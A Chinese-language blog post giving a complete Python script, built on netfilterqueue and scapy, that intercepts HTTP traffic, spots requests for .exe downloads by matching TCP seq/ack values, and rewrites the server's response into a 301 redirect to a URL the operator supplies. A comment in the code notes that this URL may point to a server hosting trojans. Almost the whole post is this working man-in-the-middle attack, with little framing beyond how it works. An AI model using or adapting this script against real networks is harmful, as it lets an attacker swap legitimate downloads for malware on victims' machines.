利用netfilter以及scapy模块实现文件下载替换

  本代码基于面向对象思想编写,主要利用到的模块为netfilterqueue,以及scapy模块,前者主要是将iptables重定向过来的报文进行缓存,后者是对缓存队列的报文进行解析以及修改。

  由于网络中HTTP访问请求以及响应很多,第一步如何识别出含有可执行文件的下载请求,这点通过分析报文load中是否有.exe扩展名即可。第二步:是如何将响应报文与上述识别出的报文对应起来,这点主要通过:由于响应报文中的seq值与上述请求报文中的ack值相同,通过这点将请求报文与响应报文关联起来。

  还有一点需要注意的是,由于需要将load进行解码,可能会遇到解码异常,因此需要利用exception捕捉到该异常,对该异常无需做特别处理,只是为了让程序正常运行。

 

from scapy.all import *
import netfilterqueue
import sys
import optparse

class HTTPDownloadManipulator:
    def __init__(self) -> None:
        self.target = self.get_params()   #这是命令行参数,用户可以指定替换成目标的文件(含有完整URL),在实际操作中,可能是另外一台运行HTTP服务的服务器,并且有木马等文件进行替换。
        self.ack_list = []

    def get_params(self):
        parser = optparse.OptionParser('Usage: < Program > -t manipulated URL')
        parser.add_option('-t', '--target', dest='target', type='string', help='Specify url which points to manipulated executable')
        options, args = parser.parse_args()
        if options.target is None:
            print(parser.usage)
            sys.exit()
        return options.target
    
    def del_elements(self, scapy_packet):
        del scapy_packet[IP].len
        del scapy_packet[IP].chksum      
        del scapy_packet[TCP].chksum
        return scapy_packet
    
    def packet_handler(self, pkt):
        scapy_packet = IP(pkt.get_payload())
        
        if scapy_packet.haslayer(Raw):

            try:
          
                if scapy_packet[TCP].dport == 80:
                    load = scapy_packet.getlayer(Raw).load.decode('utf-8')
                    #This is request packet
                    if '.exe' in load:
                        print('[-] Found request to download executable')
                        self.ack_list.append(scapy_packet.getlayer(TCP).ack)

                elif scapy_packet[TCP].sport == 80:
                   
                    #This is response packet
                    if scapy_packet[TCP].seq in self.ack_list:                        
                        self.ack_list.remove(scapy_packet[TCP].seq)
                        #This packet of response needs to be manipulated
                        print('-] Modify executalbe')
                        load = 'HTTP/1.1 301 Moved Permanently\r\nLocation: %s\r\n' % self.target
                        scapy_packet[Raw].load = load
                        scapy_packet = self.del_elements(scapy_packet)
                        pkt.set_payload(bytes(scapy_packet))

            except Exception as e:
               pass
        
        pkt.accept()
      
                

    def run(self):
        queue = netfilterqueue.NetfilterQueue()
        queue.bind(0, self.packet_handler)
        queue.run()


if __name__ == '__main__':
    httpobj = HTTPDownloadManipulator()
    httpobj.run()

 

posted @ 2022-06-06 10:45  Jason_huawen  阅读(75)  评论(0编辑  收藏  举报